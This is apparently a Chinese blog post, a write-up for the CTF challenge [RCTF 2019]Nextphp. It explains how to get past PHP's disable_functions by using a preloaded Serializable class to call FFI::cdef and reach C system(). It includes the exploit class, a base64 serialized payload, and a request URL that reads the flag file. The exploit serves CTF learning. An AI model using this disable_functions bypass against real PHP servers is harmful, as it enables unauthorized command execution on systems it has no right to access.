FFI构造命令执行

来看buuctf上的一道题

[RCTF 2019]Nextphp

上来给了一个RCE的代码

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

phpinfo一看发现存在disable_functions,蚁剑插件过不去,上去一看存在preload.php,这是php7.4引入的新特性,运行web程序之前会将preload文件先加载到内存中

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

通过run()来构造FFI函数FFI::cdef("int system(char* command);");->获取C语言的system函数->unserialize获取命令执行函数->命令执行无回显,写入文件

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];
 
    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }
 
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
 
    public function __get ($key) {
        return $this->data[$key];
    }
 
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
 
    public function __construct () {
        return;
    }
}
 
$a = new A();
echo base64_encode(serialize($a)); // 即payload

payload为/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('cat%20/flag>/var/www/html/1.txt');

posted @ 2025-02-13 15:35  colorfullbz  阅读(28)  评论(0)    收藏  举报